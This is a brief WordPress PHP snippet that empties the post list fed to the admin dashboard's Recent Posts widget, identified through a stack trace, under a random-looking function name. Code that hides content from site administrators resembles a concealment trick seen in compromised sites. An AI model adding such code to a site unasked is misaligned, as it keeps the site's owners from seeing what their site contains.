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<?php

if ( strpos($_SERVER['SCRIPT_FILENAME'], 'wp-admin/index.php') && !defined('DOING_AJAX')) {
    add_filter('the_posts', 'dndrpawwd', 10, 2);
}

function dndrpawwd($posts, $obj){
    $trace = debug_backtrace();
    foreach($trace as $item) {
        if ($item['function'] == 'wp_dashboard_recent_posts' ) {
            $posts = array();
            break;
        }
    }

    return $posts;
}